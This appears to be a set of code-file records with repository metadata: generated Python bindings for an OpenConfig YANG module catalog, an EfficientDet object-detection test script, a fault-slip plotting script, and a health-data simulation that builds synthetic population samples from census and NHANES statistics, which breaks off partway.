is_container='list', yang_name="organization", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True)""", }) self.__organization = t if hasattr(self, '_set'): self._set() def _unset_organization(self): self.__organization = YANGDynClass(base=YANGListType("name",yc_organization_openconfig_module_catalog__organizations_organization, yang_name="organization", parent=self, is_container='list', user_ordered=False, path_helper=self._path_helper, yang_keys='name', extensions=None), is_container='list', yang_name="organization", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='list', is_config=True) organization = __builtin__.property(_get_organization, _set_organization) _pyangbind_elements = OrderedDict([('organization', organization), ]) class openconfig_module_catalog(PybindBase): """ This class was auto-generated by the PythonClass plugin for PYANG from YANG module openconfig-module-catalog - based on the path /openconfig-module-catalog. Each member element of the container is represented as a class variable - with a specific YANG type. YANG Description: This module provides a schema for cataloging and descrbing YANG models published across various organizations. The catalog contains several categories of data: * organizations -- entities that publish and/or maintain individual YANG modules or groups of modules * modules -- information regarding individual YANG modules, including their versions, dependencies, submodules, and how to access them * release bundles -- groups of modules that are compatible and consistent with each other (as determined by the publisher of of the bundle). The release bundle does not necessarily correspond to a functional area, e.g., it could the entire set of modules published by an organization * feature bundles -- sets of schema paths across a release bundle that provide a specific set of functionality * implementations -- information about available module and/or bundle implementations and their status """ __slots__ = ('_path_helper', '_extmethods', '__organizations',) _yang_name = 'openconfig-module-catalog' _yang_namespace = 'http://openconfig.net/yang/module-catalog' _pybind_generated_by = 'container' def __init__(self, *args, **kwargs): self._path_helper = False self._extmethods = False self.__organizations = YANGDynClass(base=yc_organizations_openconfig_module_catalog__organizations, is_container='container', yang_name="organizations", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) load = kwargs.pop("load", None) if args: if len(args) > 1: raise TypeError("cannot create a YANG container with >1 argument") all_attr = True for e in self._pyangbind_elements: if not hasattr(args[0], e): all_attr = False break if not all_attr: raise ValueError("Supplied object did not have the correct attributes") for e in self._pyangbind_elements: nobj = getattr(args[0], e) if nobj._changed() is False: continue setmethod = getattr(self, "_set_%s" % e) if load is None: setmethod(getattr(args[0], e)) else: setmethod(getattr(args[0], e), load=load) def _path(self): if hasattr(self, "_parent"): return self._parent._path()+[self._yang_name] else: return [] def _get_organizations(self): """ Getter method for organizations, mapped from YANG variable /organizations (container) YANG Description: List of organizations owning modules """ return self.__organizations def _set_organizations(self, v, load=False): """ Setter method for organizations, mapped from YANG variable /organizations (container) If this variable is read-only (config: false) in the source YANG file, then _set_organizations is considered as a private method. Backends looking to populate this variable should do so via calling thisObj._set_organizations() directly. YANG Description: List of organizations owning modules """ if hasattr(v, "_utype"): v = v._utype(v) try: t = YANGDynClass(v,base=yc_organizations_openconfig_module_catalog__organizations, is_container='container', yang_name="organizations", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) except (TypeError, ValueError): raise ValueError({ 'error-string': """organizations must be of a type compatible with container""", 'defined-type': "container", 'generated-type': """YANGDynClass(base=yc_organizations_openconfig_module_catalog__organizations, is_container='container', yang_name="organizations", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True)""", }) self.__organizations = t if hasattr(self, '_set'): self._set() def _unset_organizations(self): self.__organizations = YANGDynClass(base=yc_organizations_openconfig_module_catalog__organizations, is_container='container', yang_name="organizations", parent=self, path_helper=self._path_helper, extmethods=self._extmethods, register_paths=True, extensions=None, namespace='http://openconfig.net/yang/module-catalog', defining_module='openconfig-module-catalog', yang_type='container', is_config=True) organizations = __builtin__.property(_get_organizations, _set_organizations) _pyangbind_elements = OrderedDict([('organizations', organizations), ])
[ "noreply@github.com" ]
google.noreply@github.com
5fe6b8d92c33a20c1ac4b997a704f1e36ae1c3a4
b6d48defc1d5359ee351403b0906b6beb6cb64a7
/Yet-Another-EfficientDet-Pytorch/efficientdet_test.py
278bd08eed0241c05001b29254cbdc30c22e82a3
[ "LGPL-3.0-only", "Apache-2.0" ]
permissive
CrazyVertigo/SimpleCVReproduction
2c6d2d23b0e234d976eefbdb56d6460798559b0d
9699f600e6cde89ad0002ca552f8b6119e96990c
refs/heads/master
2022-09-24T16:29:33.263625
2020-06-03T14:53:18
2020-06-03T14:53:18
269,344,314
1
0
Apache-2.0
2020-06-04T11:43:10
2020-06-04T11:43:09
null
UTF-8
Python
false
false
4,161
py
# Author: Zylo117 """ Simple Inference Script of EfficientDet-Pytorch """ import time import torch from backbone import EfficientDetBackbone import cv2 import numpy as np from efficientdet.utils import BBoxTransform, ClipBoxes from utils.utils import preprocess, invert_affine, postprocess compound_coef = 0 force_input_size = 1920 # set None to use default size img_path = 'test/img.png' threshold = 0.2 iou_threshold = 0.2 use_cuda = True use_float16 = False obj_list = ['person', 'bicycle', 'car', 'motorcycle', 'airplane', 'bus', 'train', 'truck', 'boat', 'traffic light', 'fire hydrant', '', 'stop sign', 'parking meter', 'bench', 'bird', 'cat', 'dog', 'horse', 'sheep', 'cow', 'elephant', 'bear', 'zebra', 'giraffe', '', 'backpack', 'umbrella', '', '', 'handbag', 'tie', 'suitcase', 'frisbee', 'skis', 'snowboard', 'sports ball', 'kite', 'baseball bat', 'baseball glove', 'skateboard', 'surfboard', 'tennis racket', 'bottle', '', 'wine glass', 'cup', 'fork', 'knife', 'spoon', 'bowl', 'banana', 'apple', 'sandwich', 'orange', 'broccoli', 'carrot', 'hot dog', 'pizza', 'donut', 'cake', 'chair', 'couch', 'potted plant', 'bed', '', 'dining table', '', '', 'toilet', '', 'tv', 'laptop', 'mouse', 'remote', 'keyboard', 'cell phone', 'microwave', 'oven', 'toaster', 'sink', 'refrigerator', '', 'book', 'clock', 'vase', 'scissors', 'teddy bear', 'hair drier', 'toothbrush'] # tf bilinear interpolation is different from any other's, just make do input_sizes = [512, 640, 768, 896, 1024, 1280, 1280, 1536] input_size = input_sizes[compound_coef] if force_input_size is None else force_input_size ori_imgs, framed_imgs, framed_metas = preprocess(img_path, max_size=input_size) x = torch.tensor(framed_imgs).cuda() if use_cuda: x = torch.stack([torch.from_numpy(fi).cuda() for fi in framed_imgs], 0) else: x = torch.stack([torch.from_numpy(fi) for fi in framed_imgs], 0) x = x.to(torch.float32 if not use_float16 else torch.float16).permute(0, 3, 1, 2) model = EfficientDetBackbone(compound_coef=compound_coef, num_classes=len(obj_list)) model.load_state_dict(torch.load(f'weights/efficientdet-d{compound_coef}.pth')) model.requires_grad_(False) model.eval() if use_cuda: model = model.cuda() if use_float16: model = model.half() with torch.no_grad(): features, regression, classification, anchors = model(x) regressBoxes = BBoxTransform() clipBoxes = ClipBoxes() out = postprocess(x, anchors, regression, classification, regressBoxes, clipBoxes, threshold, iou_threshold) def display(preds, imgs, imshow=True, imwrite=False): for i in range(len(imgs)): if len(preds[i]['rois']) == 0: continue for j in range(len(preds[i]['rois'])): (x1, y1, x2, y2) = preds[i]['rois'][j].astype(np.int) cv2.rectangle(imgs[i], (x1, y1), (x2, y2), (255, 255, 0), 2) obj = obj_list[preds[i]['class_ids'][j]] score = float(preds[i]['scores'][j]) cv2.putText(imgs[i], '{}, {:.3f}'.format(obj, score), (x1, y1 + 10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (255, 255, 0), 1) if imshow: cv2.imshow('img', imgs[i]) cv2.waitKey(0) if imwrite: cv2.imwrite(f'test/img_inferred_d{compound_coef}_this_repo_{i}.jpg', imgs[i]) out = invert_affine(framed_metas, out) display(out, ori_imgs, imshow=False, imwrite=True) print('running speed test...') print('inferring image for 10 times...') with torch.no_grad(): t1 = time.time() for _ in range(10): _, regression, classification, anchors = model(x) out = postprocess(x, anchors, regression, classification, regressBoxes, clipBoxes, threshold, iou_threshold) out = invert_affine(framed_metas, out) t2 = time.time() tact_time = (t2 - t1) / 10 print(f'{tact_time} seconds, {1 / tact_time} FPS, @batch_size 1')
[ "1115957667@qq.com" ]
1115957667@qq.com
4c1558020a925591526dba739b3b46af07ba9307
65b4522c04c2be071c2d42095956fe950fe1cebe
/inversions/static_inversion/static_inversion2/occam_for_rake_no_seafloor/run1/slip0/plot_slip.py
89a534bddf2e16da7f37a1ce25c633ddde142466
[]
no_license
geodesy/viscojapan
ac0cd93f7a2134cd2651623b94879dcc21c0c46a
03e70265b56eb5994e73bcb6066f0be338e42f27
refs/heads/master
2021-03-03T18:19:07.779601
2015-07-16T03:50:49
2015-07-16T03:50:49
null
0
0
null
null
null
null
UTF-8
Python
false
false
197
py
import viscojapan as vj mplt = vj.plots.MapPlotFault('../../../fault_model/fault_bott60km.h5') mplt.plot_slip_file('slip0.h5',0) vj.plots.plt.savefig('initial_slip_input.png') vj.plots.plt.show()
[ "zy31415@gmail.com" ]
zy31415@gmail.com
8c8206cad489df308f3b7ce4e26d9f06b8066e59
037b4b10ad477d8fc9cd1ded27698dd38bab8588
/1_code/HealthModel/Data_Simulation.py
239c238c94a8b0ea61641311e26062977692e579
[ "MIT" ]
permissive
willkara/HealthAnalytics
17a2e4027bc115a20cf4b719f64cf4c5a9e728d7
8920490d5c4cbc9187f3122fee09e2952ea53f06
refs/heads/master
2021-01-09T21:52:47.203138
2015-12-12T00:04:03
2015-12-12T00:04:03
43,178,313
0
2
null
null
null
null
UTF-8
Python
false
false
25,704
py
import numpy as np import pandas as pd import random as rnd import csv from math import floor import time start_time = time.time() FRACTION_POPULATION = 10000 print print "Fraction of Population (1 / x): ", FRACTION_POPULATION def age_split(dataframe): age_min = [] age_max = [] list_index = range(len(dataframe.index)) for index in list_index: if '-' in dataframe['age group'][ i ]: age_split = dataframe['age group'][ i ].split('-') age_split = map(int, age_split) if age_split[ 0 ] == 20: age_min.append(18) else: age_min.append(age_split[ 0 ]) age_max.append(age_split[ 1 ]) else: tmp_age = int(dataframe['age group'][ i ]) age_min.append(tmp_age) age_max.append(tmp_age) dataframe.loc[ : , 'age_min'] = pd.Series(age_min, index=list_index) dataframe.loc[ : , 'age_max'] = pd.Series(age_max, index=list_index) return dataframe census = pd.read_csv('census.csv') state_list = census.state.unique() state_census = {} for state in state_list: print "Reading Census Data for State: ", state tmp_census = census[ census.state == state ] tmp_census.index = range(len(tmp_census.index)) age_min = [] age_max = [] pop_cdf = [] tmp_pop = 0 state_entries = range(len(tmp_census.index)) for i in state_entries: if i == 0: tmp_pop = tmp_census['group population'][ i ] pop_cdf.append(tmp_pop) else: tmp_pop += tmp_census['group population'][ i ] pop_cdf.append(tmp_pop) if '-' in tmp_census['age group'][ i ]: age_split = tmp_census['age group'][ i ].split('-') age_split = map(int, age_split) age_min.append(age_split[ 0 ]) age_max.append(age_split[ 1 ]) else: tmp_age = int(tmp_census['age group'][ i ]) age_min.append(tmp_age) age_max.append(tmp_age) tmp_census.loc[ : , 'age_min'] = pd.Series(age_min, index=state_entries) tmp_census.loc[ : , 'age_max'] = pd.Series(age_max, index=state_entries) tmp_census.loc[ : , 'pop_cdf'] = pd.Series(pop_cdf, index=state_entries) state_census[ state ] = tmp_census print height_df = pd.read_csv('nchs_heights.csv') waist_df = pd.read_csv('nchs_waist.csv') weight_df = pd.read_csv('nchs_weights.csv') age_min = [] age_max = [] list_index = range(len(height_df.index)) for i in list_index: print "Reading Height Data" if '-' in height_df['age group'][ i ]: age_split = height_df['age group'][ i ].split('-') age_split = map(int, age_split) if age_split[ 0 ] == 20: age_min.append(18) else: age_min.append(age_split[ 0 ]) age_max.append(age_split[ 1 ]) else: tmp_age = int(height_df['age group'][ i ]) age_min.append(tmp_age) age_max.append(tmp_age) height_df.loc[ : , 'age_min'] = pd.Series(age_min, index=list_index) height_df.loc[ : , 'age_max'] = pd.Series(age_max, index=list_index) print age_min = [] age_max = [] list_index = range(len(waist_df.index)) for i in list_index: print "Reading Waist Data for State" if '-' in waist_df['age group'][ i ]: age_split = waist_df['age group'][ i ].split('-') age_split = map(int, age_split) if age_split[ 0 ] == 20: age_min.append(18) else: age_min.append(age_split[ 0 ]) age_max.append(age_split[ 1 ]) else: tmp_age = int(waist_df['age group'][ i ]) age_min.append(tmp_age) age_max.append(tmp_age) waist_df.loc[ : , 'age_min'] = pd.Series(age_min, index=list_index) waist_df.loc[ : , 'age_max'] = pd.Series(age_max, index=list_index) print age_min = [] age_max = [] list_index = range(len(weight_df.index)) for i in list_index: print "Reading Weight Data for State" if '-' in weight_df['age group'][ i ]: age_split = weight_df['age group'][ i ].split('-') age_split = map(int, age_split) if age_split[ 0 ] == 20: age_min.append(18) else: age_min.append(age_split[ 0 ]) age_max.append(age_split[ 1 ]) else: tmp_age = int(weight_df['age group'][ i ]) age_min.append(tmp_age) age_max.append(tmp_age) weight_df.loc[ : , 'age_min'] = pd.Series(age_min, index=list_index) weight_df.loc[ : , 'age_max'] = pd.Series(age_max, index=list_index) #print height_df #print waist_df #print weight_df print state_sample_list = {} tmp_state_list = {k : state_census[k] for k in state_census} total_sample_size = 0 for state in tmp_state_list: print "Generating State, Age, Ethnicity, Gender data for state: ", state state_information = tmp_state_list[ state ] state_population = state_information['pop_cdf'].max() sample_population = int(state_population / FRACTION_POPULATION) tmp_state = pd.Series([state for i in range(sample_population)], \ index=range(sample_population)) tmp_group_cdf = pd.Series(state_information['pop_cdf']) print "\t\t Sample state Population: ", sample_population total_sample_size += sample_population SEQN = rnd.sample(range(state_population), sample_population) # print SEQN #print tmp_group_cdf age = [] ethnicity = [] gender = [] min_idx = 0 age_min_pl = 0.0 age_max_pl = 0.0 age_calc_pl = 0.0 for person_id in SEQN: min_idx = tmp_group_cdf[ tmp_group_cdf[ : ] > person_id ].argmin() ethnicity.append(state_information['ethnicity'][ min_idx ]) gender.append(state_information['gender'][ min_idx ]) age_min_pl = float(state_information['age_min'][ min_idx ]) age_max_pl = float(state_information['age_max'][ min_idx ]) age_calc_pl = age_min_pl + rnd.random() * (age_max_pl - age_min_pl) age.append(age_calc_pl) tmp_state_sample = {} tmp_state_sample = tmp_state #tmp_state_sample['age'] = pd.Series(age, index=range(sample_population)) #tmp_state_sample['ethnicity'] = pd.Series(ethnicity, index=range(sample_population)) #tmp_state_sample['gender'] = pd.Series(gender, index=range(sample_population)) tmp_state_sample_df = pd.DataFrame(SEQN, index=range(sample_population)) tmp_state_sample_df['state'] = pd.Series(tmp_state_sample, index=range(sample_population)) tmp_state_sample_df['gender'] = pd.Series(gender, index=range(sample_population)) tmp_state_sample_df['age'] = pd.Series(age, index=range(sample_population)) tmp_state_sample_df['ethnicity'] = pd.Series(ethnicity, index=range(sample_population)) tmp_state_sample_df = tmp_state_sample_df.rename(columns = {0 : 'SEQN'}) state_sample_list[ state ] = tmp_state_sample_df print print "Sample Size of all States Combined: ", total_sample_size print for state in state_sample_list: height = [] waist = [] weight = [] print "Generating Height, Waist, Weight data for state: ", state # print state_sample_list[ state ] # print state state_information = state_sample_list[ state ] sample_population_list = range(len(state_information.index)) for person in sample_population_list: tmp_height_df = height_df[ height_df['gender'] == \ state_information['gender'][ person ] ] tmp_waist_df = waist_df[ waist_df['gender'] == \ state_information['gender'][ person ] ] tmp_weight_df = weight_df[ waist_df['gender'] == \ state_information['gender'][ person ] ] if (state_information['ethnicity'][ person ] == 'Black') or \ (state_information['ethnicity'][ person ] == 'Hisp'): tmp_height_df = tmp_height_df[ tmp_height_df['ethnicity'] == \ state_information['ethnicity'][ person ] ] tmp_waist_df = tmp_waist_df[ tmp_waist_df['ethnicity'] == \ state_information['ethnicity'][ person ] ] tmp_weight_df = tmp_weight_df[ tmp_weight_df['ethnicity'] == \ state_information['ethnicity'][ person ] ] elif (state_information['ethnicity'][ person ] == 'WhiteNonHisp'): tmp_height_df = tmp_height_df[ tmp_height_df['ethnicity'] == 'White'] tmp_waist_df = tmp_waist_df[ tmp_waist_df['ethnicity'] == 'White'] tmp_weight_df = tmp_weight_df[ tmp_weight_df['ethnicity'] == 'White'] else: tmp_height_df = tmp_height_df[ tmp_height_df['ethnicity'] == 'All'] tmp_waist_df = tmp_waist_df[ tmp_waist_df['ethnicity'] == 'All'] tmp_weight_df = tmp_weight_df[ tmp_weight_df['ethnicity'] == 'All'] if state_information['age'][ person ] < 18.0: height.append(0.0) waist.append(0.0) weight.append(0.0) continue else: min_idx_height = tmp_height_df[ tmp_height_df[ : ]['age_max'] >= \ floor(state_information['age'][ person ])]['age_max'].argmin() min_idx_waist = tmp_waist_df[ tmp_waist_df[ : ]['age_max'] >= \ floor(state_information['age'][ person ])]['age_max'].argmin() min_idx_weight = tmp_weight_df[ tmp_weight_df[ : ]['age_max'] >= \ floor(state_information['age'][ person ])]['age_max'].argmin() tmp_height_df = tmp_height_df.ix[ min_idx_height ] tmp_waist_df = tmp_waist_df.ix[ min_idx_waist ] tmp_weight_df = tmp_weight_df.ix[ min_idx_weight ] rnd_height = 100 * rnd.random() rnd_waist = 100 * rnd.random() rnd_weight = 100 * rnd.random() height_val_pl = 0.0 waist_val_pl = 0.0 weight_val_pl = 0.0 if rnd_height > 95.0: height_val_pl = (tmp_height_df['95'] - tmp_height_df['90']) / 5.0 height_val_pl = tmp_height_df['95'] + (height_val_pl * (rnd_height - 95.0)) elif rnd_height > 90.0: height_val_pl = (tmp_height_df['95'] - tmp_height_df['90']) / 5.0 height_val_pl = tmp_height_df['90'] + (height_val_pl * (rnd_height - 90.0)) elif rnd_height > 85.0: height_val_pl = (tmp_height_df['90'] - tmp_height_df['85']) / 5.0 height_val_pl = tmp_height_df['85'] + (height_val_pl * (rnd_height - 85.0)) elif rnd_height > 75.0: height_val_pl = (tmp_height_df['85'] - tmp_height_df['75']) / 10.0 height_val_pl = tmp_height_df['75'] + (height_val_pl * (rnd_height - 75.0)) elif rnd_height > 50.0: height_val_pl = (tmp_height_df['75'] - tmp_height_df['50']) / 25.0 height_val_pl = tmp_height_df['50'] + (height_val_pl * (rnd_height - 50.0)) elif rnd_height > 25.0: height_val_pl = (tmp_height_df['50'] - tmp_height_df['25']) / 25.0 height_val_pl = tmp_height_df['25'] + (height_val_pl * (rnd_height - 25.0)) elif rnd_height > 15.0: height_val_pl = (tmp_height_df['25'] - tmp_height_df['15']) / 10.0 height_val_pl = tmp_height_df['15'] + (height_val_pl * (rnd_height - 15.0)) elif rnd_height > 10.0: height_val_pl = (tmp_height_df['15'] - tmp_height_df['10']) / 5.0 height_val_pl = tmp_height_df['10'] + (height_val_pl * (rnd_height - 10.0)) elif rnd_height > 5.0: height_val_pl = (tmp_height_df['10'] - tmp_height_df['5']) / 5.0 height_val_pl = tmp_height_df['5'] + (height_val_pl * (rnd_height - 5.0)) else: height_val_pl = (tmp_height_df['10'] - tmp_height_df['5']) / 5.0 height_val_pl = tmp_height_df['5'] - (height_val_pl * (rnd_height - 5.0)) if rnd_waist > 95.0: waist_val_pl = (tmp_waist_df['95'] - tmp_waist_df['90']) / 5.0 waist_val_pl = tmp_waist_df['95'] + (waist_val_pl * (rnd_waist - 95.0)) elif rnd_waist > 90.0: waist_val_pl = (tmp_waist_df['95'] - tmp_waist_df['90']) / 5.0 waist_val_pl = tmp_waist_df['90'] + (waist_val_pl * (rnd_waist - 90.0)) elif rnd_waist > 85.0: waist_val_pl = (tmp_waist_df['90'] - tmp_waist_df['85']) / 5.0 waist_val_pl = tmp_waist_df['85'] + (waist_val_pl * (rnd_waist - 85.0)) elif rnd_waist > 75.0: waist_val_pl = (tmp_waist_df['85'] - tmp_waist_df['75']) / 10.0 waist_val_pl = tmp_waist_df['75'] + (waist_val_pl * (rnd_waist - 75.0)) elif rnd_waist > 50.0: waist_val_pl = (tmp_waist_df['75'] - tmp_waist_df['50']) / 25.0 waist_val_pl = tmp_waist_df['50'] + (waist_val_pl * (rnd_waist - 50.0)) elif rnd_waist > 25.0: waist_val_pl = (tmp_waist_df['50'] - tmp_waist_df['25']) / 25.0 waist_val_pl = tmp_waist_df['25'] + (waist_val_pl * (rnd_waist - 25.0)) elif rnd_waist > 15.0: waist_val_pl = (tmp_waist_df['25'] - tmp_waist_df['15']) / 10.0 waist_val_pl = tmp_waist_df['15'] + (waist_val_pl * (rnd_waist - 15.0)) elif rnd_waist > 10.0: waist_val_pl = (tmp_waist_df['15'] - tmp_waist_df['10']) / 5.0 waist_val_pl = tmp_waist_df['10'] + (waist_val_pl * (rnd_waist - 10.0)) elif rnd_waist > 5.0: waist_val_pl = (tmp_waist_df['10'] - tmp_waist_df['5']) / 5.0 waist_val_pl = tmp_waist_df['5'] + (waist_val_pl * (rnd_waist - 5.0)) else: waist_val_pl = (tmp_waist_df['10'] - tmp_waist_df['5']) / 5.0 waist_val_pl = tmp_waist_df['5'] - (waist_val_pl * (rnd_waist - 5.0)) if rnd_weight > 95.0: weight_val_pl = (tmp_weight_df['95'] - tmp_weight_df['90']) / 5.0 weight_val_pl = tmp_weight_df['95'] + (weight_val_pl * (rnd_weight - 95.0)) elif rnd_weight > 90.0: weight_val_pl = (tmp_weight_df['95'] - tmp_weight_df['90']) / 5.0 weight_val_pl = tmp_weight_df['90'] + (weight_val_pl * (rnd_weight - 90.0)) elif rnd_weight > 85.0: weight_val_pl = (tmp_weight_df['90'] - tmp_weight_df['85']) / 5.0 weight_val_pl = tmp_weight_df['85'] + (weight_val_pl * (rnd_weight - 85.0)) elif rnd_weight > 75.0: weight_val_pl = (tmp_weight_df['85'] - tmp_weight_df['75']) / 10.0 weight_val_pl = tmp_weight_df['75'] + (weight_val_pl * (rnd_weight - 75.0)) elif rnd_weight > 50.0: weight_val_pl = (tmp_weight_df['75'] - tmp_weight_df['50']) / 25.0 weight_val_pl = tmp_weight_df['50'] + (weight_val_pl * (rnd_weight - 50.0)) elif rnd_weight > 25.0: weight_val_pl = (tmp_weight_df['50'] - tmp_weight_df['25']) / 25.0 weight_val_pl = tmp_weight_df['25'] + (weight_val_pl * (rnd_weight - 25.0)) elif rnd_weight > 15.0: weight_val_pl = (tmp_weight_df['25'] - tmp_weight_df['15']) / 10.0 weight_val_pl = tmp_weight_df['15'] + (weight_val_pl * (rnd_weight - 15.0)) elif rnd_weight > 10.0: weight_val_pl = (tmp_weight_df['15'] - tmp_weight_df['10']) / 5.0 weight_val_pl = tmp_weight_df['10'] + (weight_val_pl * (rnd_weight - 10.0)) elif rnd_weight > 5.0: weight_val_pl = (tmp_weight_df['10'] - tmp_weight_df['5']) / 5.0 weight_val_pl = tmp_weight_df['5'] + (weight_val_pl * (rnd_weight - 5.0)) else: weight_val_pl = (tmp_weight_df['10'] - tmp_weight_df['5']) / 5.0 weight_val_pl = tmp_weight_df['5'] - (weight_val_pl * (rnd_weight - 5.0)) height.append(height_val_pl) waist.append(waist_val_pl) weight.append(weight_val_pl) state_sample_list[ state ]['Height'] = pd.Series(height, index=range(len(height))) state_sample_list[ state ]['Waist'] = pd.Series(waist, index=range(len(waist))) state_sample_list[ state ]['Weight'] = pd.Series(weight, index=range(len(weight))) print for state in state_sample_list: print "Cleaning Data for Health Statistics for state: ", state BMI = [] WtHR = [] tmp_BMI = 0.0 tmp_WtHR = 0.0 state_information = state_sample_list[ state ] mask_male = state_information['gender'] == 'Male' mask_female = state_information['gender'] == 'Female' state_information.loc[mask_male, 'gender'] = 'M' state_information.loc[mask_female, 'gender'] = 'F' for person in range(len(state_information.index)): tmp_BMI = 10000 * state_information['Weight'][ person ] / \ (state_information['Height'][ person ] ** 2) BMI.append(tmp_BMI) WtHR.append(state_information['Waist'][ person ] / state_information['Height'][ person ]) state_sample_list[ state ]['BMI'] = pd.Series(BMI, index=range(len(BMI))) state_sample_list[ state ]['WtHR'] = pd.Series(WtHR, index=range(len(WtHR))) state_sample_list[ state ].columns = ['SEQN', 'State', 'Gender', 'Age_years', 'Ethnicity', 'Height', 'Waist', 'Weight', \ 'BMI', 'WtHR'] state_sample_list[ state ] = state_information[ state_information ['Age_years'] >= 18.0] print ########################################################## # Importing Data as a DataFrame object # The imported data has the following columns: # # 1) SEQN (Participant ID) # 2) Gender (Male == M, Female == F) # 3) Age_years # 4) Age_months # 5) Weight (kg) # 6) Height (cm) # 7) BMI (kg/m^2) # 8) Waist (cm) # 9) HR (Heart Rate in 60s, 30s HR * 2) # 10) Avg_Sys (Average Systolic Blood Pressure) # 11) Avg_Dia (Average Diastolic Bloot Pressure) # 12) Tri (Triglyceride Levels, mg/dL) # 13) LDL (Low-Density Cholesterol Levels, mg/dL) # 14) HDL (High-Density Cholesterol Levels, mg/dL) # 15) Vig_YN (Does the participant partake in at least vigorous # recreational activities for at least 10 min, # Y == 1, N == 2) # 16) Vig_DW (If Vig_YN == 1, how many days a week) # 17) Vig_MD (If Vig_YN == 1, how many minutes a day) # 18) Mod_YN (Does the participant partake in at least mdoerate # recreational activities for at least 10 min) # 19) Mod_DW (If Mod_YN == 1, how many days a week) # 20) Mod_MD (If Mod_YN == 1, how many minutes a day) print "Reading Nation NHANES data" print df = pd.read_csv('HealthData_10_16_2015.csv') # Filtering any entry that does not have any of # the following specified: # # 1) Gender # 2) Age in years # 3) Weight in kg # 4) Height in cm # 5) Waist line in cm # # All applicants Age < 18 are excluded # # Modifying entries of exercising so that participants that answered # no for vigorous or moderate exercise will have 0 for fields that # ask if they exercise, how many days per week do you exercise, and # how many minutes per day do you exercise df = df[df.Gender.notnull() & df.Age_years.notnull() & df.Weight.notnull() \ & df.Height.notnull() & df.Waist.notnull()] df = df[df['Age_years'] > 17] mask_vig = df['Vig_YN'] == 2 df.loc[mask_vig, 'Vig_YN'] = 0 df.loc[mask_vig, 'Vig_DW'] = 0 df.loc[mask_vig, 'Vig_MD'] = 0 mask_mod = df['Mod_YN'] == 2 df.loc[mask_mod, 'Mod_YN'] = 0 df.loc[mask_mod, 'Mod_DW'] = 0 df.loc[mask_mod, 'Mod_MD'] = 0 #print df # Creating a DataFrame from previously filtered entires # to remove any remaining entries that have any missing # heart rate information df_hr = df[df.HR.notnull()] df_hr.index = range(len(df_hr.index)) # Removing columns in dataframe so that only attributes # and heart rate information remains df_hr = df_hr.drop(df_hr.columns[[ 9, 10, 11, 12, 13 ]], axis=1) # Reorganizing the dataframe so as to move heart rate (HR) # to the end of the dataframe. This provides the final # format to split the data into test and training datasets cols = list(df_hr) cols.insert(len(cols), cols.pop(cols.index('HR'))) df_hr = df_hr.ix[: , cols] #print df_hr # Creating a DataFrame from previously filtered entries # to remove any remaining entries that have any missing # blood pressure information # The new DataFrame also has reindexed row numbers df_bp = df[df.Avg_Sys.notnull() & df.Avg_Dia.notnull()] df_bp.index = range(len(df_bp.index)) # Removing columns in dataframe so that only attributes # and blood pressure information remains df_bp = df_bp.drop(df_bp.columns[[ 8, 11, 12, 13 ]], axis=1) # Reorganizing the dataframe so as to move Blood Pressure, # Avg_Sys and Avg_Dia, to the end of the dataframe. This # provides the final format to split the data into test # and training datasets cols = list(df_bp) cols.insert(len(cols), cols.pop(cols.index('Avg_Sys'))) cols.insert(len(cols), cols.pop(cols.index('Avg_Dia'))) df_bp = df_bp.ix[: , cols] #print df_bp # Creating a DataFrame from previously filtered entries # to remove any remaining entries that have any missing # cholesterol information df_ch = df[df.Tri.notnull() & df.LDL.notnull() & df.HDL.notnull()] df_ch.index = range(len(df_ch.index)) # Reorganizing the dataframe so as to move Cholesterol, # Tri LDL and HDL, to the end of the dataframe. This # provides the final format to split the data into test # and training datasets cols = list(df_ch) cols.insert(len(cols), cols.pop(cols.index('Tri'))) cols.insert(len(cols), cols.pop(cols.index('LDL'))) cols.insert(len(cols), cols.pop(cols.index('HDL'))) df_ch = df_ch.ix[: , cols] age_group = [18.0, 30.0, 40.0, 50.0, 60.0, 70.0, 80.0, 100.0] gender_group = ['M', 'F'] for state in state_sample_list: state_sample_list[ state ].loc[ : ,'HR'] = \ pd.Series(np.zeros(state_population), index=range(state_population)) state_sample_list[ state ].loc[ : ,'Avg_Sys'] = \ pd.Series(np.zeros(state_population), index=range(state_population)) state_sample_list[ state ].loc[ : ,'Avg_Dia'] = \ pd.Series(np.zeros(state_population), index=range(state_population)) state_sample_list[ state ].loc[ : ,'Tri'] = \ pd.Series(np.zeros(state_population), index=range(state_population)) state_sample_list[ state ].loc[ : ,'LDL'] = \ pd.Series(np.zeros(state_population), index=range(state_population)) state_sample_list[ state ].loc[ : ,'HDL'] = \ pd.Series(np.zeros(state_population), index=range(state_population)) for age in range(len(age_group) - 1): for gender in range(len(gender_group)): print "Binning Health Statistics " print df_hr_filter = df_hr[ (df_hr['Age_years'] >= age_group[ age ]) & \ (df_hr['Age_years'] < age_group[ age + 1 ]) & \ (df_hr['Gender'] == gender_group[ gender ])] df_bp_filter = df_bp[ (df_bp['Age_years'] >= age_group[ age ]) & \ (df_bp['Age_years'] < age_group[ age + 1 ]) & \ (df_bp['Gender'] == gender_group[ gender ])] df_ch_filter = df_ch[ (df_ch['Age_years'] >= age_group[ age ]) & \ (df_ch['Age_years'] < age_group[ age + 1 ]) & \ (df_ch['Gender'] == gender_group[ gender ])] # print df_hr_filter # print "Age Range (HR): ", age_group[ age ], age_group[ age + 1 ] # print df_bp_filter # print "Age Range (BP): ", age_group[ age ], age_group[ age + 1 ] # print df_ch_filter # print "Age Range (CH): ", age_group[ age ], age_group[ age + 1 ] quantile_hr = [] quantile_sys = [] quantile_dia = [] quantile_tri = [] quantile_ldl = [] quantile_hdl = [] j = 0.0 print "Generating Quantiles (5%)" print for i in range(21): j = float(i) / 20 quantile_hr.append(df_hr_filter['HR'].quantile( j )) 